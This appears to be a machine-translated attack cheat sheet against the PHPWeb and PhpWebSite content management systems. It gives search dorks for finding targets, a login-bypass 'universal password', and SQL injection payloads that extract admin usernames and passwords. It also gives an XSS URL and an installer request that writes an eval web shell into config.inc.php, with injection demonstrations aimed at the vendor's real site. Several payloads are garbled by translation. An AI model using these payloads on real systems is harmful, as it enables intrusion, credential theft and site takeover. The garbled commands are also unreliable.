Phpweb Vulnerability Collection

or ‘1‘=‘1  万能密码

Inurl:/class/?1.html

Inurl:webmall/query.php?typeid=?
Inurl:shop/class/?226.html
Inurl:product/html/?10.html
Inurl:down/class/?2.html
Inurl:news/html/?417.html
Inurl:shop/html/?477.html
Inurl:news/class/?86.html

Inurl:/page/html/?1.html
Exp/search/index.php?imagefield.x=-1138&imagefield.y=-319&key=1%27
Inurl:class/index.php?catid=0
Exp/3149_4369/product/html/?78 ' and (select//1//from (select//count (), concat ((select//( select//(select//concat (0x27,0x7e,user,0x27,0x7e,password,0x27,0x7e)//from/ /dev_base_admin/ /limit/ /0,1)) //from//information_schema.tables//limit//0,1), Floor (rand (0)2 )) x//from//information_schema.tables//group//by/x) a)/*.html

Keyword: inurl:down/class/index.php?myord=

Backstage Address: admin.php

Universal Password: admin ' or ' 1 ' = ' 1

Injection Address: down/class/index.php?myord=1

Keyword: inurl:webmall/detail.php?id

Data sheet: Pwn_base_admin

Keyword: inurl:webmall/detail.php?id

Data sheet: Pwn_base_admin

PhpWebSite Search Module Cross-site script execution vulnerability
Affected Systems:

Appalachian State Universit PhpWebSite 1.4.0

PhpWebSite is a Web content management system (CMS).
Utilization method
Index.php?module=search&user=search&search=%22%3e%3ch1%3exss%3c%2fh1%3e&alternate=local&mod_ Title=all&submit=search

Phpweb finished website latest version (inject, upload, write shell)

Vulnerability file:
inurl:search/module/search.php
inurl:search/index.php?key=1&myord=1 [Sqlinjection]

base/install/index.php--data
"Dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command =gonext&alertmsg=&username= "--header" Host:localhost "; eval ($_request[a]); #"
Shell Address:/config.inc.php

Inurl:shop/class/index.php?showbrandid=1

and (select 1 from (SELECT COUNT (*), concat ((select Concat (0x23, User, 0x7e,password, 0x23) from Dev_base_admin limit 0,1), Floor (rand (0) *)) x from Information_schema.tables GROUP by x) a) –%20

Phpweb all the entire station pseudo-static pages have SQL injection

Main station: http://phpweb.net/
Plus ' detection:

Http://www.phpweb.net/down/html/?772′.html

Error
Presence injection.
Can not use space, can only use/ Luo
http://www.phpweb.net/page/html/?56′//and//1=1/. html Normal

http://www.phpweb.net/page/html/?56′//and//1=2/*.html error.
Exploded database version:

?
1
http://www.phpweb.net/page/html/?56 '//and//(select//1//from//(select//count (), Concat (Floor (rand (0)2), (Substring ((select (version ())), 1,62)))//from//information_schema.tables/ /group//by/**/a) b) =1/*.html

Phpweb Vulnerability Collection